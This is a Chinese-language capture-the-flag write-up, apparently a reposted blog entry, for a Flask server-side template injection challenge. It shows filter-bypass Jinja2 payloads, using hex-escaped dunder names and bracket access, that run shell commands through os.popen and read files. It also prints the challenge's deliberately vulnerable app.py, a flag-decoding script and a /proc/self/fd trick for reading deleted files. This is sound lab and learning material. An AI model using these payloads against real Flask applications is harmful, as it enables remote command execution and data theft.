[BUUCTF题解][pasecactf_2019]flask_ssti 1


写在最前面

在博主写这个题的时候突然页面无法交互,即点了那个Go按钮并没有提交数据没有反应,后来捣鼓了大半天才发现是原HTML文件应用的JQuery在线库连不上的原因,最后在写这篇文章的时候又发现JQuery在线库又能连上了......

 这个在线库当时博主无法连接上,而HTML中的JS代码又使用了JQuery中定义的语法这就导致没有相应的问题。通过控制台会发现是在HTML文件的这个位置出现了问题:

如果出现上述问题的话需要开启VPN或其他方法,保证能连接到在线JQuery库就能正常做题了。或者等上一段时间,说不定就像博主这样突然又能连接上了。

关于Flask的SSTI基础知识可以参考博主以前写的入门向文章:SSTI(模板注入)--Flask(萌新向) | [BUUCTF题解][CSCCTF 2019 Qual]FlaskLight & [GYCTF2020]FlaskApp(SSTI) - Article_kelp - 博客园 (cnblogs.com)

开始解题

题目就点明了为flask的ssti,简单的测试也证明了存在SSTI。

先测试哪些关键字被过滤了。经过一番测试后发现没有关键字被过滤,倒是符号"."、"‘"和"_"被过滤了。

单引号'被过滤可以用双引号"代替;至于点.和下划线_被过滤可以采用16进制来表示,用[](类似数组下标)的方式选定。知道怎么过滤了那就照着以前payload修改就好了。

payload:{{config["\x5f\x5fclass\x5f\x5f"]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["os"]["popen"]("whoami")["read"]()}}

先测试是否可行。

那去找找flag文件,但是根目录下并没有找到。

payload:{{config["\x5f\x5fclass\x5f\x5f"]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["os"]["popen"]("ls /")["read"]()}}

 那就去读取一下当前目录下的配置文件。

payload:{{config["\x5f\x5fclass\x5f\x5f"]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["os"]["popen"]("ls")["read"]()}}

读取app.py。

payload:{{config["\x5f\x5fclass\x5f\x5f"]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["os"]["popen"]("cat app\x2epy")["read"]()}}

还有另外一种读取的方式,利用了Flask中定义的函数get_data来读取数据(官方文档:API — Flask 中文文档 (2.0.1) (dormousehole.readthedocs.io))。

 

 注意想使用这个函数必须先找到定义了这个函数的类才能调用,师傅们的payload为:

{{[]["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[91]["\x67\x65\x74\x5f\x64\x61\x74\x61"](0,"app\x2epy")}}

import random
from flask import Flask, render_template_string, render_template, request
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = 'folow @osminogka.ann on instagram =)'

#Tiaonmmn don't remember to remove this part on deploy so nobody will solve that hehe
'''
def encode(line, key, key2):
    return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))

app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
'''

def encode(line, key, key2):
    return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))

file = open("/app/flag", "r")
flag = file.read()

app.config['flag'] = encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
flag = ""

os.remove("/app/flag")

nicknames = ['˜”*°★☆★_%s_★☆★°°*', '%s ~♡ⓛⓞⓥⓔ♡~', '%s Вêчңø в øĤлâйĤé', '♪ ♪ ♪ %s ♪ ♪ ♪ ', '[♥♥♥%s♥♥♥]', '%s, kOтO®Aя )(оТеЛ@ ©4@$tьЯ', '♔%s♔', '[♂+♂=♥]%s[♂+♂=♥]']

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        try:
            p = request.values.get('nickname')
            id = random.randint(0, len(nicknames) - 1)
            if p != None:
                if '.' in p or '_' in p or '\'' in p:
                    return 'Your nickname contains restricted characters!'
                return render_template_string(nicknames[id] % p)

        except Exception as e:
            print(e)
            return 'Exception'

    return render_template('index.html')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=1337) 

给出了flag的加密方式,加密后的flag存放在config中,那将flag读取出来再解密就好了。

 

 写的简陋的python解密脚本如下(在文章写完前突然找到其他师傅的文章中说,由于采用的是异或算法所以对加密后的flag再次调用encode即可decode,Orz博主只知道写爆破):

key='GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3'
key2='xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT'
flag_encoded='这里放加密后的flag'
flag=''
for x in range(len(flag_encoded)):
    for i in range(33,127):
        if flag_encoded[x]==chr(x ^ i ^ ord(key[::-1][x]) ^ ord(key2[x])):
            flag+=chr(i)
            print(flag)
            break 

 需要注意的是题目简介中给出的key和key2和实际题目中是不同的,要按实际题目中的key和key2为准。

此外由于flag最初是存放在文件中,后由app.py读取后删除了该文件,所以可以利用这一点访问/proc/self/fd/,在其中的3即使此前打开的flag文件。

具体原理可以参考这位师傅的文章:-----已搬运-------Linux的/proc/self/学习 ++ CTF例题_Zero_Adam的博客-CSDN博客

需要注意的是proc/self/的特性,按照文中师傅的说法,我们采用cat去读取获取的时关于cat进程的信息,所以应该采用此前的Flask中的get_data函数,这样读取时获取到的是python进程的信息。

写在最后面

师傅们好强a,看WP发现好多知识都不曾接触过Orz,不知道多久才能望其项背。如果文中有不当或不对之处,欢迎各位师傅指正。


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM